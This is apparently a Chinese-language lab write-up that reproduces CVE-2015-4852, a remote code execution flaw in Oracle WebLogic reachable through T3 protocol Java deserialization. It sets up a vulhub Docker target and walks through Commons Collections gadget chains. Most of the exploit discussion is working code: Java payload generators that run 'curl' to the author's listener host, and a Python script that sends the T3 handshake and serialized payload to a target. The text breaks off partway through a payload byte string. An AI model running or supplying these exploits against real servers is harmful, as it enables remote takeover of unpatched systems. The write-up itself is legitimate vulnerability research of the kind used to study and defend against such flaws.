摘自wikipedia
WebLogic是美商Oracle的主要产品之一,系购并得来。是商业市场上主要的Java应用服务器软件之一,是世界上第一个成功商业化的J2EE应用服务器
但是据参考文章所言,主要其实可以分为两大块:
1、利用xml decoded反序列化进行远程代码执行的漏洞,例如:
CVE-2017-10271,CVE-2017-3506。
2、利用t3协议+java反序列化进行远程代码执行的漏洞,例如:
CVE-2015-4852、CVE-2016-0638、CVE-2016-3510、CVE-2017-3248、CVE-2018-2628、CVE-2018-2894
这篇文章主要是我复现CVE-2015-4852的过程记录,这个漏洞利用的是后者,也就是t3协议+java反序列化
因为本文的主要内容是对漏洞的复现和原理分析,所以这部分并没有详细展开
RMI是Rmote Method Invocation的简称,RMI目前使用JRMP进行通信。
JRMP指的是java remote method protocol(Java远程消息交换协议),也就是说JRMP是专门为RMI实现的协议。
上面提到的JRMP协议是rmi默认使用的协议,但是Weblogic Server中的RMI通信使用T3协议和其他java程序间传输数据(序列化的类),t3协议是高度优化的rmi,更详细的内容可以参考下面的T3协议部分
ObjectOutputStream
类的writeObject()
方法可以实现序列化。ObjectInputStream
类的readObject()
方法用于反序列化。readObject
里面的一些内容来触发Runtime.getRuntime.exec
,就可以实现命令执行。JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性;这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。以下面代码为例简单说明。
package com.b1ClassLoader; import java.lang.reflect.Method; public class Test { public static void main (String[] args) throws Exception{ // 实例化一个TestUser类 TestUser user=new TestUser(); // Class类可以通过 对象的getCLass方法获取 Class cls = user.getClass(); // 也可以通过 类名.class获取 Class cls2 = TestUser.class; // 还可以通过Class.forName Class cls3 = Class.forName("com.b1ClassLoader.TestUser"); // 通过实例的Class类对象来调用这个对象里面的method,如果Method有参数,在getMethod后面的参数上赋值相应的参数类型,譬如这里setUsername的一个参数是String类型 Method method = cls.getMethod("hello"); Method method2 = cls2.getMethod("setUsername", String.class); //最后通过 Method.invoke调用方法,同样的,如果有参数,往后面放 method.invoke(user); method2.invoke(user,"testname"); System.out.println(user.getUsername()); } } class TestUser{ private String username; public String getUsername() { return username; } public void setUsername(String username) { this.username = username; } public void hello(){ System.out.println("hello"); } }
环境: 在 ubuntu 16.04 上跑的vulhub的weblogic docker镜像,具体版本是:
这里使用的vulhub的docker,为了自己能自己从脚本启动,微微改了一下文件:
version: '2' services: weblogic: build: . ports: - "7001:7001" - "8453:8453"
ENV debugFlag true
EXPOSE 7001
EXPOSE 8453
CMD ["/bin/sh","-c","while true;do echo 1;sleep 10;done"]
`docker-compose up -d`启动后进入docker,修改`~/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh`,在开头加上
```sh
debugFlag="true"
export debugFlag
然后执行sudo docker restart [容器id]
,然后把docker容器root目录下的内容复制出来。
idea远程调试原理就是本地有跟服务器上一样的lib文件,然后在本地的lib代码里下断点,通过debug就可以在远程服务器时在本地断点停住
用idea打开拷贝出来的目录/root/Oracle/Middleware/wlserver_10.3
。通过上面的原理就知道,实际上要调试那个类文件就把那个class文件所在的jar加入到libraries中,这里要添加server目录下的modules
文件夹和。在idea左上角File->Project Structure里找到Libraries,添加上即可。
在idea中File->Project Structure里找到Project,这里选择从docker里拷出来的jdk,也就是jdk1.6.0_45
最后,在右上角Add Configuration
,添加remote服务器,填写ip和端口
然后点击debug开始监听。
根据参考链接3的文章,这里在
/wlserver_10.3/server/lib/weblogic.jar!/weblogic/wsee/jaxws/WLSServletAdapter.class
的129行下断点,然后访问/wls-wsat/,但是我怎么弄也无法在这里断点停住。。
于是换了思路,找了网上有关这个CVE的可用的EXP打一下,看EXP里调用了ChainedTransformer
里的transform
方法,
对于本文路径是/modules/com.bea.core.apache.commons.collections_3.2.0.jar!/org/apache/commons/collections/functors/ChainedTransformer.class
,我直接在这个transfrom
方法这里下断点,然后用exp打,终于停住
这样可以看到整个exp在代码中执行的过程了,但是还是需要分析原理才能理解整个过程。
此时开始探究exp的原理,也就是commonscollections的调用链,代码在下面会贴出来。但问题就在于,本地无法编译执行,因为mac上装了高版本jdk后装不了jdk1.6了。中间也考虑用docker起个jdk1.6.45来编译,但是编译之后各种报错,没太搞懂就放弃了,最后还是找到这篇文章,成功在mac装上了jdk1.6。
接下来应该分析一下构造的反序列化利用链,主要是用到了apache commonscollections,这里以ysoserial的CommonCollections1为例进行分析,调用栈如下:
Gadget chain: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
本地生成一个java序列化文件poc.ser
的完整的调用代码是:
因为漏洞没回显,我这里用的方式是本地nc监听1234端口,然后curl这个端口的方式看是否成功执行了
```java
package src.main.java;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollectionsExp {
public static void main(String[] args) throws Exception {
Transformer[] transformers_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"curl 127.0.0.1:1234"})
};
Transformer chain = new ChainedTransformer(transformers_exec);
HashMap innerMap = new HashMap();
innerMap.put("value", "asdf");
Map outerMap = TransformedMap.decorate(innerMap, null, chain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);
Object ins = cons.newInstance(java.lang.annotation.Retention.class, outerMap);
FileOutputStream fos = new FileOutputStream("./poc.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(ins);
}
}
这里首先要说明一下apache.commons.collections里的一些方法.
### 4.4.1 Transformer
```java
package org.apache.commons.collections;
public interface Transformer {
Object transform(Object var1);
}
Transformer只是一个接口,在利用时,我们一般调用实现该接口的类,例如在攻击代码中用到的InvokerTransformer
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; } public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } catch (NoSuchMethodException var5) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException var6) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException var7) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7); } } }
可以看到,InvokeTransformer的构造方法把三个参数赋值,然后transform
方法使用反射调用了我们传入的类和方法,这里iMethodName
iParamTypes
iArgs
三个参数都是直接可控的,只需要再控制input为一个Runtime的Class实例,就可以完成调用了,相当于Runtime.getRuntime().exec("xxxx")
。也就是说,第一行代码相当于如下操作:
Class cls = Runtime.class; Method method=cls.getMethod("getRuntime"); Object tmp1 = method.invoke(cls); Class cls2 = tmp1.getClass(); Method method1 = cls2.getMethod("exec",String.class); method1.invoke(tmp1,"curl 127.0.0.1:1234");
而且这里还不是执行一个对象的某个方法,需要一个执行链,而这里正好有这么一个类,就是ChainedTransformer
该类中也有一个transform方法:
public ChainedTransformer(Transformer[] transformers) { this.iTransformers = transformers; } public Object transform(Object object) { for(int i = 0; i < this.iTransformers.length; ++i) { object = this.iTransformers[i].transform(object); } return object; }
可以看到,这个类构造方法接收我们传入的Transform类型的数组,然后调用transform方法对数组的每个元素调用transform方法。
除此之外,为了获得Runtime.class
,这里又用到另一个类ConstantTransformer
,代码如下
public ConstantTransformer(Object constantToReturn) { this.iConstant = constantToReturn; } public Object transform(Object input) { return this.iConstant; }
他的transform方法就很简单,就是返回iConstant,而this.iConstant又来自构造函数的参数,所以,如果我们实例化时传入一个Runtime.class返回的也是Runtime.class那么也就解决利用链开头的Runtime问题。这就是代码开头部分。如果只看这一部分,还差一个chain.transform
就可以实现命令执行,我们随便传一个值,测试一下。
public class CommonsCollectionsExp { public static void main(String[] args) throws Exception { Transformer[] transformers_exec = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"curl 127.0.0.1:1234"}) }; Transformer chain = new ChainedTransformer(transformers_exec); // nc开监听 chain.transform(1); } }
构造一个反序列化链的时候,我们是从调用栈底部网上推的,通过前面的分析,我们得到了最底部的Runtime.getRuntime.exec("curl 127.0.0.1:1234")
,刚才调用链生效要触发ChainedTransformer.transform
方法,所以接下来就要想办法调用这个方法。根据网上的分析,有两个类调用了transform方法,分别是LazyMap
和TransformedMap
。
在TransformedMap类中,有三个函数调用了transform方法,分别是:
protected final Transformer keyTransformer; protected final Transformer valueTransformer; protected Object transformKey(Object object) { return this.keyTransformer == null ? object : this.keyTransformer.transform(object); } protected Object transformValue(Object object) { return this.valueTransformer == null ? object : this.valueTransformer.transform(object); } protected Object checkSetValue(Object value) { return this.valueTransformer.transform(value); }
所以下一步就是构造this.keyTransformer
或者this.valueTransformer
为我们刚才构造的ChainedTransformer
类型对象,然后触发transform
方法即可。但由于这几个方法都是protected
的,无法从外部访问,所以考虑从public
类型的方法入手,一共有4个public的方法(这里把transformKey方法也放上了)
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); } public static Map decorateTransform(Map map, Transformer keyTransformer, Transformer valueTransformer) { TransformedMap decorated = new TransformedMap(map, keyTransformer, valueTransformer); if (map.size() > 0) { Map transformed = decorated.transformMap(map); decorated.clear(); decorated.getMap().putAll(transformed); } return decorated; } protected Object transformKey(Object object) { return this.keyTransformer == null ? object : this.keyTransformer.transform(object); } public Object put(Object key, Object value) { key = this.transformKey(key); value = this.transformValue(value); return this.getMap().put(key, value); } public void putAll(Map mapToCopy) { mapToCopy = this.transformMap(mapToCopy); this.getMap().putAll(mapToCopy); }
这里用到的是decorate
方法,因为decorate
会调用构造函数,从而实现对类内部属性的赋值。这里还有个put方法,既满足是public
,又满足调用了this.transformKey
,在transformKey的构造函数中可以看到,只要我们传入的Object不是null就会执行transform方法,满足调用链,所以在本地测试的时候,可以在构造完前半部分调用一下这个put,来触发transform
。下一步是想办法让put
函数的第一个参数变成我们前面构造的chain
,这里构造代码中间部分
HashMap innerMap = new HashMap(); innerMap.put("keykey", "vvv"); Map outerMap = TransformedMap.decorate(innerMap, null, chain);
因为decorate有个Map类型的第一个参数,这里随便生成一个就行,主要是把前面构造的ChainedTransformer
类型的chain
放到第三个参数上(transformKey和transformValue都可以通过put触发transform方法,但是后面反序列化的时候调用的方法只能在value上触发,所以放到第三个参数),为了测试,这里可以在后面手动调用一下put方法,nc监听一下,命令成功执行,此时代码是:
package src.main.java; import org.apache.commons.collections.*; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.*; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; public class CommonsCollectionsExp { public static void main(String[] args) throws Exception { Transformer[] transformers_exec = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"curl 127.0.0.1:1234"}) }; Transformer chain = new ChainedTransformer(transformers_exec); HashMap innerMap = new HashMap(); innerMap.put("value", "asdf"); Map outerMap = TransformedMap.decorate(innerMap, null, chain); //这里调用put单纯本地测试一下是否可行 outerMap.put("aaaa","bbbbb"); } }
目前找到了触发transform的类,但最终目的是反序列化的时候自动调用,所以下一步是找一个有readObject
方法的类,并且在readObject
需要调用刚才提到的transform
方法。这里就用到了jdk自带的sun.reflect.annotation.AnnotationInvocationHandler
类,由于这个类在jdk1.8得到了更新,所以一些payload不能攻击运行在jdk1.8的weblogic,这里环境还是jdk1.6。这个类的readObject
实现如下
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); AnnotationType var2 = null; try { var2 = AnnotationType.getInstance(this.type); } catch (IllegalArgumentException var9) { throw new InvalidObjectException("Non-annotation type in annotation serial stream"); } Map var3 = var2.memberTypes(); Iterator var4 = this.memberValues.entrySet().iterator(); while(var4.hasNext()) { Entry var5 = (Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if (var7 != null) { Object var8 = var5.getValue(); if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6))); } } } }
这里涉及到一个知识点:
TransformedMap是Map类型,TransformedMap里的每个entryset在调用setValue方法时会自动调用TransformedMap类的checkSetValue方法
为什么会有上面一点呢?通过源码可以看到TransformedMap
继承了AbstractInputCheckedMapDecorator
类,而在这个类中可以看到如下代码
static class MapEntry extends AbstractMapEntryDecorator { private final AbstractInputCheckedMapDecorator parent; protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) { super(entry); this.parent = parent; } public Object setValue(Object value) { value = this.parent.checkSetValue(value); return super.entry.setValue(value); } }
可以看到,在这个类中实现了setValue方法,在setValue的时候会调用checkSetValue
方法。
在上面的readObject
中可以看到,var5正好是this.memberValues.entrySet()
的Entry类,而且调用了setValue
方法,那么在var5.setValue
被调用时,同时会调用
protected Object checkSetValue(Object value) { return this.valueTransformer.transform(value); }
在这里,就调用了transform方法,由于调用的是valueTransformer
,所以在上面构造exp的时候把chain放在value那了。
由于var5是从this.memberValues
取的,这个就是构造函数的第二个参数,所以构造函数的第二个参数放上面生成的outerMap
就ok了。
但是要进入这个触发点,还需要满足!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)
通过代码可以知道var7 = (Class)var3.get(var6),其中var3=var2.memberTypes(),然后var2=AnnotationType.getInstance(this.type),而this.type是可控的,构造函数如下(jdk1.7版本是这样,jdk1.6更简单,直接赋值没啥好分析的,我贴在下面了):
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) { Class[] var3 = var1.getInterfaces(); if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) { this.type = var1; this.memberValues = var2; } else { throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type."); } }
//jdk1.6版本是这样,没过滤更简单 AnnotationInvocationHandler(Class var1, Map<String, Object> var2) { this.type = var1; this.memberValues = var2; }
现在看一下jdk1.7的过滤条件,要求是Annotation
类的子类,Annotation这个接口是所有注解类型的公用接口,所有注解类型应该都是实现了这个接口的,在exp里用的是java.lang.annotation.Retention.class
这个类,总的exp如下,这里最后模拟了一下序列化和返序列化的过程
本地测试的exp代码是
package src.main.java; import org.apache.commons.collections.*; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.*; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; public class CommonsCollectionsExp { public static void main(String[] args) throws Exception { Transformer[] transformers_exec = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"curl 127.0.0.1:1234"}) }; Transformer chain = new ChainedTransformer(transformers_exec); HashMap innerMap = new HashMap(); innerMap.put("keykey", "vv"); Map outerMap = TransformedMap.decorate(innerMap, null, chain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class); cons.setAccessible(true); Object ins = cons.newInstance(java.lang.annotation.Retention.class, outerMap); // FileOutputStream fos = new FileOutputStream("./poc.ser"); // ObjectOutputStream oos = new ObjectOutputStream(fos); ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(ins); oos.flush(); oos.close(); // 本地模拟反序列化 ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); Object obj = (Object) ois.readObject(); } }
再看LazyMap中调用transform方法的地方
public Object get(Object key) { if (!super.map.containsKey(key)) { Object value = this.factory.transform(key); super.map.put(key, value); return value; } else { return super.map.get(key); } }
调用了this.factory.transfrom
,而this.factory
由构造函数指定
protected final Transformer factory; protected LazyMap(Map map, Transformer factory) { super(map); if (factory == null) { throw new IllegalArgumentException("Factory must not be null"); } else { this.factory = factory; } }
构造poc时只要让给LazyMap
的第二个参数传入一个ChainedTransformer
类型对象即可。下一步是找在哪里调用这个get方法,
public Object invoke(Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); Class[] var5 = var2.getParameterTypes(); if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) { return this.equalsImpl(var3[0]); } else if (var5.length != 0) { throw new AssertionError("Too many parameters for an annotation method"); } else { byte var7 = -1; switch(var4.hashCode()) { case -1776922004: if (var4.equals("toString")) { var7 = 0; } break; case 147696667: if (var4.equals("hashCode")) { var7 = 1; } break; case 1444986633: if (var4.equals("annotationType")) { var7 = 2; } } switch(var7) { case 0: return this.toStringImpl(); case 1: return this.hashCodeImpl(); case 2: return this.type; default: Object var6 = this.memberValues.get(var4); if (var6 == null) { throw new IncompleteAnnotationException(this.type, var4); } else if (var6 instanceof ExceptionProxy) { throw ((ExceptionProxy)var6).generateException(); } else { if (var6.getClass().isArray() && Array.getLength(var6) != 0) { var6 = this.cloneArray(var6); } return var6; } } } }
在AnnotationInvocationHandler
类的invoke
方法中,有this.memberValues.get(var4);
,而this.memberValues
在构造函数中赋值
AnnotationInvocationHandler(Class var1, Map<String, Object> var2) { this.type = var1; this.memberValues = var2; }
所以只要在构造函数的第二个参数传LazyMap类型即可,接下来的问题是,如何调用这个invoke
方法呢?这就要利用到java的动态代理,参考这篇文章
总结为一句话就是,被动态代理的对象调用任意方法都会通过对应的InvocationHandler的invoke方法触发
引用参考文章8的里的这一段
只要创建一个LazyMap的动态代理,然后再用动态代理调用LazyMap的某个方法就行了,但是为了反序列化的时候自动触发,我们应该找的是某个重写了readObject方法的类,这个类的readObject方法中可以通过动态代理调用LazyMap的某个方法,其实这和直接调用LazyMap某个方法需要满足的条件几乎是一样的,因为某个类的动态代理与它本身实现了同一个接口。而我们通过分析TransformedMap利用链的时候,已经知道了在AnnotationInvocationHandler的readObject方法中会调用某个Map类型对象的entrySet()方法,而LazyMap以及他的动态代理都是Map类型,所以,一条利用链就这么出来了:
package src.main.java; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import org.eclipse.persistence.internal.xr.Invocation; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map; public class CommonsCollectionsExp2 { public static void main(String[] args) throws Exception{ Transformer[] transformers_exec = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"curl 127.0.0.1:1234"}) }; Transformer chain = new ChainedTransformer(transformers_exec); HashMap innerMap = new HashMap(); innerMap.put("keykey","vv"); Map lazyMap = LazyMap.decorate(innerMap,chain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class); cons.setAccessible(true); // 创建LazyMap的handler实例 InvocationHandler handler = (InvocationHandler) cons.newInstance(Override.class,lazyMap); // 创建LazyMap的动态代理实例 Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(), handler); // 创建一个AnnotationInvocationHandler实例,并且把刚刚创建的代理赋值给this.memberValues InvocationHandler handler1 = (InvocationHandler)cons.newInstance(Override.class, mapProxy); // 序列化 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(handler1); oos.flush(); oos.close(); // 本地模拟反序列化 ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); Object obj = (Object) ois.readObject(); } }
上面的代码执行后虽然会报错,但是确实可以成功执行。
这部分引用自参考链接8
上面的链受jdk版本限制,还有一条不受限的链。利用了另一个调用get方法的TiedMapEntry
类的getValue
方法
public Object getValue() { return this.map.get(this.key); }
而这里的this.map
是构造函数的第一个参数
public TiedMapEntry(Map map, Object key) { this.map = map; this.key = key; }
所以下一步是找在反序列化的readObject
中哪里会调用getValue方法。最终定位到BadAttributeValueExpException
类的readObject
方法。
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { GetField var2 = var1.readFields(); Object var3 = var2.get("val", (Object)null); if (var3 == null) { this.val = null; } else if (var3 instanceof String) { this.val = var3; } else if (System.getSecurityManager() != null && !(var3 instanceof Long) && !(var3 instanceof Integer) && !(var3 instanceof Float) && !(var3 instanceof Double) && !(var3 instanceof Byte) && !(var3 instanceof Short) && !(var3 instanceof Boolean)) { this.val = System.identityHashCode(var3) + "@" + var3.getClass().getName(); } else { this.val = var3.toString(); } }
第三个分支里调用了var3.toString()
,而var3其实就是取传过来对象的val属性值,所以,只要我们控制BadAttributeValueExpException对象的val属性的值为我们精心构造的TiedMapEntry对象就行。EXP如下
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import javax.management.BadAttributeValueExpException; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; public class POC6 { public static void main(String[] args) throws Exception{ Transformer[] transformers_exec = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"gnome-calculator"}) }; Transformer chain = new ChainedTransformer(transformers_exec); HashMap innerMap = new HashMap(); innerMap.put("value","axin"); Map lazyMap = LazyMap.decorate(innerMap,chain); // 将lazyMap封装到TiedMapEntry中 TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "val"); // 通过反射给badAttributeValueExpException的val属性赋值 BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); Field val = badAttributeValueExpException.getClass().getDeclaredField("val"); val.setAccessible(true); val.set(badAttributeValueExpException, tiedMapEntry); // 序列化 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(badAttributeValueExpException); oos.flush(); oos.close(); // 本地模拟反序列化 ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); Object obj = (Object) ois.readObject(); } }
这里有一点需要注意,那就是不嗯给你直接在初始化的时候就给badAttributeValueExpException 对象的val属性赋值,因为它的构造函数如下:
public BadAttributeValueExpException (Object val) { this.val = val == null ? null : val.toString(); }
这里直接就调用了val.toString,所以,如果通过构造函数赋值val属性为我们构造的TiedMapEntry对象对导致在本地生成payload的时候就执行了命令,并且我们精心构造的对象还会被转换为String类型,就失效了。
前面已经分析了exp的原理,生成了序列化攻击文件poc.ser
,但是为了打到weblogic服务器上,我们还需要了解一下t3协议相关的知识。
首先,ubuntu上用tcpdump抓流量包
sudo tcpdump -i ens33 port 7001 -w t3.pcap
然后用exp打一下,从exp来分析一下t3协议的通信过程,wireshark分析流量包
可以看到,一开始是exp发送了一行t3 12.2.1
,意思就是客户端的weblogic版本是12.2.1,服务器端返回一个HELO:
加上服务器端的版本信息10.3.6.0
然后加上.false
,后面的内容是一段数据加上构造的攻击序列化内容,在其中可以看到序列化的头ac ed 00 05
所以简单来说,t3协议的exp需要包含2部分,一个请求头,是't3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'
,等到服务器返回相应版本信息后,再发送payload。这里为了生存payload,首先需要正常使用t3协议访问一下,然后抓正常的流量包,再替换其中的序列化部分,为poc.ser
的内容。
在exp里用的是这种方式,本地复测了一下,服务端地址是192.168.38.2的7001端口,测试方式是本机192.168.38.1监听1234端口,然后命令执行一个curl,看是否成功。
首先生成poc.ser,是利用如下java代码生成的序列化利用链
package src.main.java; import org.apache.commons.collections.*; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map; public class CVE_2015_4852 { public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException, IOException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"curl 192.168.38.1:1234"}) }; Transformer chain = new ChainedTransformer(transformers); HashMap<String, String> innerMap = new HashMap<String, String>(); Map lazyMap = LazyMap.decorate(innerMap, chain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class); cons.setAccessible(true); InvocationHandler handler = (InvocationHandler) cons.newInstance(Override.class, lazyMap); Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler); InvocationHandler handler1 = (InvocationHandler) cons.newInstance(Override.class, mapProxy); FileOutputStream fos = new FileOutputStream("./poc.ser"); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(handler1); oos.flush(); oos.close(); } }
#!/usr/bin/python3 import socket import binascii import struct host = "192.168.38.2" port = 7001 sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) server_address = (host,port) sock.settimeout(10) sock.connect(server_address) header = "74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a50553a74333a2f2f75732d6c2d627265656e733a373030310a0a" header = binascii.unhexlify(header) sock.sendall(header) res = sock.recv(1024) serialize_exp = open("poc.ser","rb").read() payload = b'\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x43\x2e\xc6\xa2\xa6\x39\x85\xb5\xaf\x7d\x63\xe6\x43\x83\xf4\x2a\x6d\x92\xc9\xe9\xaf\x0f\x94\x72\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c